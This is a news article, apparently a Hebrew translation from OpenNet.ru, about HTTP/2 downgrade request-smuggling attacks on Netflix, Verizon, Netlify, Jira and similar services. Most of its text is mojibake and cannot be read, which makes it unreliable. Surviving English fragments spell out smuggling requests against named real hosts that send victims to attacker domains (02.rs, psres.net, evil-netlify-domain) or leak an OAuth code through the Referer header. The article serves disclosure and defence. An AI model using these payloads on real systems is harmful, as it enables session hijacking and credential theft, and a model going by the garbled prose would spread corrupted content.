ืืขืจืืืช ืืื ืืจื ื ืฉืืื ื-frontend ืืงืื ืืืืืจืื ืืืืฆืขืืช HTTP/2 ืืืฉืืจ ื-backend ืืืืฆืขืืช HTTP/1.1 ื ืืฉืคื ืืืจืกื ืืืฉื ืฉื ืืชืงืคืช HTTP Request Smuggling, ืืืืคืฉืจืช, ืืืืฆืขืืช ืฉืืืืช ืืงืฉืืช ืืงืื ืฉืชืืื ื ื ืืืืืื, ืืืฉืชืื ืืชืืื. ืฉื ืืงืฉืืช ืืืฉืชืืฉืื ืืืจืื ืฉืขืืืื ืืืืชื ืืจืืื ืืื ืงืฆื ืงืฆื ืืงืฆื. ื ืืชื ืืืฉืชืืฉ ืืืชืงืคื ืืื ืืืื ืืก ืงืื JavaScript ืืืื ื ืืืคืขืื ืขื ืืชืจ ืืืืืืื, ืืขืงืืฃ ืืขืจืืืช ืืงืจืช ืืืฉื ืืืืืจื ืคืจืืืจืื ืฉื ืืืืืช.
ืืืขืื ืืฉืคืืขื ืขื ืคืจืืงืกื ืืื ืืจื ื, ืืืื ื ืขืืืกืื, ืืืืฆื ืจืฉืช, ืืขืจืืืช ืืกืคืงืช ืชืืื ืืชืฆืืจืืช ืืืจืืช ืฉืืื ืืงืฉืืช ืืืคื ืืช ืืืืฉ ืืคื ืกืืืช ื-front-end-backend. ืืืืจ ืืืืงืจ ืืืืื ืืช ืืืืืืช ืืชืงืืฃ ืืขืจืืืช ื-Netflix, Verizon, Bitbucket, Netlify CDN ื-Atlassian, ืืงืืื 56 ืืืืจ ืืชืืื ืืืช ืคืจืก ืฉื ืคืืืขืืช. ืืืขืื ืืืฉืจื ืื ืืืืฆืจื F5 Networks. ืืืขืื ืืฉืคืืขื ืืืืคื ืืืงื ืขื mod_proxy ืืฉืจืช ื-Apache http (CVE-2021-33193), ืชืืงืื ืฆืคืื ืืืจืกื 2.4.49 (ืืืคืชืืื ืงืืืื ืืืืขื ืขื ืืืขืื ืืชืืืืช ืืื ืืงืืืื 3 ืืืืฉืื ืืชืงื ืืืชื). ื-nginx, ืืืืืืช ืืฆืืื ืืช ืืืืชืจืืช "ืืืจื-ืชืืื" ื-"ืงืืืื ืืขืืจื" ืื-ืืื ืืช ื ืืกืื ืืืืืืจื ืืืืจืื ื (1.21.1). ืืื ืืชืงืคื ืืืจ ื ืืกืคื ืืขืจืืช ืืืืื ืฉื Burp ืืื ืืืื ืื ืืชืืจ ืืจืืื ืฉื Turbo Intruder.
ืขืงืจืื ืืคืขืืื ืฉื ืืฉืืื ืืืืฉื ืฉื ืชืืจืื ืืงืฉืืช ืืชืขืืืจื ืืืื ืืคืืืขืืช ืฉืืืืชื ืืืชื ืืืงืจ ืืคื ื ืฉื ืชืืื, ืื ืืืืื ืืืืืชืืช ืืืงืืืืช ืืงืฉืืช ืืจื HTTP/1.1. ื ืืืืจ ืฉืืกืืืช ื-frontend-backend, ืืงืฉืืช ืืงืื ืืชืงืืืืช ืขื ืืื ืฆืืืช ื ืืกืฃ - ื-frontend, ืืฉืจ ืืืฆืจ ืืืืืจ TCP ืืจืื ืืืื ืขื ื-backend ืืืขืื ืืฉืืจืืช ืืงืฉืืช. ืืจื ืืืืืืจ ืืืฉืืชืฃ ืืื ืืืขืืจืืช ืืืจื ืืื ืืงืฉืืช ืฉื ืืฉืชืืฉืื ืฉืื ืื, ืืขืืงืืืช ืืืจ ืืฉืจืฉืจืช ืืื ืืืจ ืื, ืืืคืจืืืช ืืืืฆืขืืช ืคืจืืืืงืื HTTP.
ืืชืงืคืช "ืืืจืืช ืืงืฉืช HTTP" ืืงืืืกืืช ืืชืืกืกื ืขื ืืขืืืื ืฉ-frontends ื-backends ืืคืจืฉืื ืืช ืืฉืืืืฉ ืืืืชืจืืช HTTP "Content-Length" (ืงืืืข ืืช ืืืืื ืืืืื ืฉื ืื ืชืื ืื ืืืงืฉื) ื-"Transfer-Encoding: chunked" ( ืืืคืฉืจ ืืขืืจืช ื ืชืื ืื ืืืืงืื) ืืฆืืจื ืฉืื ื . ืืืืืื, ืื ื-frontend ืชืืื ืจืง ื-"Content-Length" ืืื ืืชืขืื ื-"Transfer-Encoding: chunked", ืื ืชืืงืฃ ืืืื ืืฉืืื ืืงืฉื ืฉืืืืื ืื ืืช ืืืืชืจืืช "Content-Length" ืืื "Transfer-Encoding: chunked", ืืื ืืืืื ืืื "ืชืืื-ืืืจื" ืืื ื ืชืืื ืืช ืืืื ืืฉืจืฉืจืช ืืืชืืื. ืืืงืจื ืื, ื-frontend ืืขืื ืืื ืชื ืืืืฉ ืืช ืืืงืฉื ืืืชืื ื-Content-Length, ืื-backend ืืืชืื ืืืฉืืืช ืืืกืืื ืืืชืืกืก ืขื "Transfer-Encoding: chunked" ืืืื ื ืื ืืชืจ ืฉื ืืงืฉืช ืืชืืงืฃ ืืืื ืืชืืืืช ืืืงืฉื ืืืจื ืฉืฉืืืจื ืืืืจ ืืื.
ืฉืื ืืื ืคืจืืืืงืื HTTP/1.1 ืืืืกืก ืืงืกื, ืฉืื ืชื ืืจืืช ืืฉืืจื, HTTP/2 ืืื ืคืจืืืืงืื ืืื ืืจื ืืืืฆืข ืื ืืคืืืฆืืืช ืขื ืืืืงื ื ืชืื ืื ืืืืื ืงืืืข ืืจืืฉ. ืขื ืืืช, HTTP/2 ืืฉืชืืฉ ืืืืชืจืืช ืคืกืืืื ืืืชืืืืืช ืืืืชืจืืช HTTP ืจืืืืืช. ืืขืช ืืื ืืจืืงืฆืื ืขื ืืงืฆื ืืืืืจื ืืืืฆืขืืช HTTP/1.1, ื-frontend ืืชืจืื ืืช ืืืืชืจืืช ืืคืกืืืื ืืื ืืืืชืจืืช HTTP/1.1 ืืืืืช ืฉื HTTP. ืืืขืื ืืื ืฉื-backend ืืงืื ืืืืืืช ืืืื ื ืืชืื ืืืจื ืขื ืกืื ืืืชืจืืช ื-HTTP ืฉื ืงืืขื ืขื ืืื ื-frontend, ืืืื ืืืขืช ืืช ืืคืจืืืจืื ืฉื ืืืงืฉื ืืืงืืจืืช.
ืืืื ืืฆืืจืช ืคืกืืืื-ืืืชืจืืช, ื ืืชื ืืืขืืืจ ืืช ืืขืจืืื "ืืืจื-ืชืืื" ื-"ืงืืืื ืืขืืจื", ืืืจืืช ืืขืืืื ืฉืื ืืื ื ืืฉืืืืฉ ื-HTTP / 2, ืฉืื ืืืื ืื ืื ืชืื ืื ื ืงืืข ื- ืฉืื ื ืคืจื. ืขื ืืืช, ืืชืืืื ืืืจืช ืืงืฉืช HTTP/2 ื-HTTP/1.1, ืืืืชืจืืช ืืืื ืืืขืืจืืช ืืืืืืืช ืืืืื ืืช ืืงืฆื ืืขืืจืคื. ืืฉื ื ืฉืชื ืืคืฉืจืืืืช ืืชืงืคื ืขืืงืจืืืช: H2.TE ื-H2.CL, ืฉืืื ืืงืฆื ืืืืืจื ืืืขื ืขื ืืื ืงืืืื ืืขืืจื ืฉืืื ืื ืขืจื ืืืจื ืชืืื ืฉืืื ื ืืชืืื ืืืืื ืืืืืชื ืฉื ืืืฃ ืืืงืฉื ืฉืืชืงืื ืขื ืืื ื-frontend ืืืืฆืขืืช ืคืจืืืืงืื HTTP / 2.
ืืืืืื ืืืชืงืคืช H2.CL, ืืคืกืืืื-ืืืชืจืช ืฉื ืืืจื ืืชืืื ืคืืืื ืืขืช ืฉืืืืช ืืงืฉืช HTTP/2 ืื ืืคืืืงืก. ืืงืฉื ืื ืืืจืืช ืืืืกืคืช ืืืชืจืช HTTP ืืืื ืืืืจื Content-Length ืืขืช ืืืฉื ื-backend ืืจื HTTP/1.1, ืื ืืืืืื ืฉืืืืื ื-Content-Length ืงืื ืืืืืื ืืืืืชื, ืืืง ืืื ืชืื ืื ืืื ื ืืขืืืืื ืืืชืืื ืฉื ืืืงืฉื ืืืื.
ืืืืืื, ืืงืฉื HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 ืืืจื: 02.rs?x.netflix.com Foo: bar
ืืฉืื ืืงืฉื ืืงืฆื ืืขืืจืคื: POST /n HTTP/1.1 ืืืจื: www.netflix.com ืืืจื ืชืืื: 4 abcdGET /n HTTP/1.1 ืืืจื: 02.rs?x.netflix.com Foo: bar
ืืืืืื ืฉ-Content-Length ืืืืืจ ื-4, ืืงืฆื ืืืืืจื ืืงืื ืจืง "abcd" ืืืืฃ ืืืงืฉื, ืืืขืื ืืช ืฉืืจ ื-"GET /n HTTP/1.1..." ืืชืืืืช ืืืงืฉื ืืืื ืืืืืืจืช ืืืฉืชืืฉ ืืืจ. ืืืชืื ืืื, ืืืจื ืื ืืืื ืืกืื ืืจื, ืืืชืืืื ืืืงืฉื ืืืื ืชืืืืจ ืชืืฆืืช ืขืืืื ืืืงืฉื ืืืืืืคืช. ืืืงืจื ืฉื ื ืืคืืืงืก, ืฆืืื ืืืจื ืฆื ืฉืืืฉื ืืืืชืจืช "ืืืจื:" ืืืงืฉื ืืืืืคืช ืืืื ืืชืืืื "ืืืงืื: https://02.rs?x.netflix.com/n" ืืืงืื ื- ืืคืฉืจ ืืืขืืืจ ืชืืื ืฉืจืืจืืชื ืืืงืื, ืืืื ืืืฆืืข ืงืื ื-JavaScript ืฉืื ืืืงืฉืจ ืฉื ืืชืจ Netflix.
ืืืจืกื ืืฉื ืืื ืฉื ืืืชืงืคื (H2.TE) ืงืฉืืจื ืืืืืคืช ืืืืชืจืช "Transfer-Encoding: chunked". ืืฉืืืืฉ ื-Pseudo-header ืฉื ืงืืืื ืืืขืืจื ื-HTTP/2 ืืกืืจ ืขื ืคื ืืืคืจื, ืืืงืฉืืช ืขืื ื ืงืืขืืช ืืืชืืืืก ืืื ื ืืื ืืช. ืืืจืืช ืืืช, ืืื ืืืฉืืื ืงืฆื ืืชืขืืืื ืืืืจืืฉื ืืื ืืืืคืฉืจืื ืฉืืืืฉ ื-Pseudo-header ืฉื ืงืืืื ืืขืืจื ื-HTTP/2, ืฉืืชืืจืื ืืืืชืจืช HTTP ืืืื. ืื ืืืืชืจืช "ืงืืืื ืืขืืจื" ืงืืืืช, ืืงืฆื ืืืืืจื ืืืื ืืงืืช ืืืชื ืืจืืฉ ืกืืจ ืืขืืืคืืืืช ืืื ืชื ืืช ืื ืชืื ืื ืืืืงืื ืืืฆื "ื ืชืืื" ืืืืฆืขืืช ืืืืงืื ืืืืืื ืฉืื ืื ืืคืืจืื "{ืืืื}\r\n{ืืืืง} \r\n{ืืืื} \r\n{ืืืืง}\r\n0" ืืืจืืช ืืืืืงื ืืจืืฉืื ืืช ืืคื ืืืื ืืืื.
ื ืืืืืชื ืฉื ืคืขืจ ืืื ืืืืื ืืืืืื ืฉื Verizon. ืขื ืืืช, ืืืขืื ื ืืขื ืืคืืจืื ืืืืืืช ืืืืขืจืืช ื ืืืื ืืชืืื, ืืืฉืืฉืช ืื ืืชืจืื ืืื Huffington Post ื-Engadget. ืืืืืื, ืืงืฉืช ืืงืื ืืจื HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ืืขืืจื-ืงืืืื ืืชืืื 0 GET /oops HTTP/1.1 ืืืจื: psres.net ืืืจื ืชืืื: 10 x=
ืืจื ืืืงืฉืช HTTP/1.1 ื-backend: POST /identity/XUI HTTP/1.1 ืืืจื: id.b2b.oath.com ืืืจื ืชืืื: 66 ืืขืืจื-ืงืืืื: chunked 0 GET /oops HTTP/1.1 ืืืจื: psres.net Content- Length : 10x=
ืืงืฆื ืืืืืจื, ืืชืืจื, ืืชืขืื ืืืืืชืจืช "ืืืจื ืชืืื" ืืืืฆืข ืคืืฆืื ืืืจื ืขื ืืกืืก "ืงืืืื ืืขืืจื: ืืชืืืืช". ืืคืืขื, ืืืชืงืคื ืืคืฉืจื ืืืคื ืืช ืืงืฉืืช ืืฉืชืืฉืื ืืืชืจ ืฉืื, ืืจืืืช ืืืจืื ืืงืฉืืช ืืงืฉืืจืืช ืืืืืืช OAuth, ืฉืืคืจืืืจืื ืฉืืื ืืืคืืขื ื-Referer, ืืื ืืืืืืช ืืคืขืืช ืืืืืช ืืืืืื ืฉืืืืช ืืืฉืืจื ืืฉืชืืฉ ื- ืืืืจื ืฉื ืืชืืงืฃ. GET /b2blanding/show/oops HTTP/1.1 ืืืจื: psres.net ืืคื ื: https://id.b2b.oath.com/?โฆ&code=secret GET / HTTP/1.1 ืืืจื: psres.net ืืจืฉืื: ื ืืฉืืช eyJhcGwiOiJIUzI1Gi1sInR6cCI6โฆ
ืืื ืืชืงืืฃ ืืืฉืืื HTTP/2 ืฉืืื ื ืืืคืฉืจืื ืืฆืืื ืืช ืืคืกืืืื-ืืืืชืจืช ืฉื ืงืืืื ืืืขืืจื, ืืืฆืขื ืฉืืื ืืืจืช ืืืืืืช ืืืืคืช ืืืืชืจืช "ืงืืืื ืืขืืจื" ืขื ืืื ืฆืืจืืคื ืืืืชืจืืช ืคืกืืืื ืืืจืืช ืืืืคืจืืืช ืขื ืืื ืชื ืืืฉ (ืืฉืืื ืืืืจืช ื-HTTP/1.1 ืืืงืจื ืื, ื ืืฆืจืืช ืฉืชื ืืืชืจืืช HTTP ื ืคืจืืืช).
ืืืืืื, Atlassian Jira ื-Netlify CDN (ืืืฉืืฉืื ืืฉืจืช ืืช ืืฃ ืืคืชืืื ืฉื Mozilla ื-Firefox) ืืืฉืคืขื ืืืขืื ืื. ืืืืคื ืกืคืฆืืคื, ืืงืฉืช ื-HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n ืงืืืื ืืขืืจื: chunked 0\r\n \r\n GET / HTTP/1.1\r\n ืืืจื : evil-netlify-domain\r\n ืืืจื ืชืืื: 5\r\n \r\nx=
ืืจื ืืืงืฉืช HTTP/1.1 POST / HTTP/1.1 ืืืืฉืื ืื ืืงืฆื ืืืืืจื\r\n ืืืจื: start.mozilla.org\r\n Foo: b\r\n ืืขืืจื-ืงืืืื: chunked\r\n ืชืืื- ืืืจื: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ืืืจื: evil-netlify-domain\r\n ืืืจื ืชืืื: 5\r\n \ r\nx=
ืืคืฉืจืืช ื ืืกืคืช ืืืืืคืช ืืืืชืจืช "ืืขืืจื-ืงืืืื" ืืืืชื ืืฆืจืฃ ืืืชื ืืฉื ืฉื ืคืกืืืื-ืืืชืจืช ืืืจืช ืื ืืืืจืืืช ืขื ืฉืืืช ืืงืฉื. ืืืืืื, ืืขืช ืืืฉื ื-Atlassian Jira, ืืฉื ืฉื ืืคืกืืืื-ืืืชืจืช "foo: bar\r\ntransfer-encoding" ืขื ืืขืจื "chunked" ืืืื ืืืืกืคืช ืืืชืจืืช ื-HTTP "foo: bar" ื-"transfer-encoding" : chunked", ืืฆืืื ื-pseudo-header ":method" ืฉื ืืขืจื "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ืชืืจืื ื-"GET / HTTP/1.1\r\ntransfer-encoding: chunked" .
ืืืืงืจ ืฉืืืื ืืช ืืืขืื ืืฆืืข ืื ืืื ืืงืช ืื ืืืจ ืืงืฉื ืืชืงืืฃ ืืช ืืืืืชืืช, ืฉืื ื ืืฆืจ ืืืืืจ ื ืคืจื ื-backend ืขืืืจ ืื ืืชืืืช IP ืืืชื ืืขื ืฉื ืืฉืชืืฉืื ืฉืื ืื ืืื ื ืืขืืจืืช. ืืืื ืืงื ืืืืฆืขืช ืืื ื ืืืคืฉืจืช ืื ืืืชืขืจื ืืืงืฉืืช ืฉื ืืฉืชืืฉืื ืืืจืื, ืื ืืื ืืืคืฉืจืช ืืืจืขืื ืืช ืืืืืื ืืืฉืืชืฃ, ืืืฉืคืืข ืขื ืขืืืื ืืงืฉืืช ืืืจืืช, ืืืืคืฉืจืช ืื ืืืฆืข ืืืืคื ืฉื ืืืชืจืืช HTTP ืคื ืืืืืช ืืืฉืืฉืืช ืืืขืืจืช ืืืืข ืฉืืจืืช ื- ื-frontend ื-backend (ืืืืืื, ืืขืช ืืืืืช ืืฆื ื-frontend ืืืืชืจืืช ืืืื ืืืื ืืฉืืื ืืืืข ืขื ืืืฉืชืืฉ ืื ืืืื ื-backend). ืืืืืื ืืืืฉืื ืืฉืืื ืืคืืขื, ืืืืฆืขืืช ืืจืขืืช ืืืืื, ื ืืชื ืืื ืืืฉืื ืฉืืืื ืขื ืืืคืื ืืฉืืจืืช Bitbucket.
ืืงืืจ: OpenNet.ru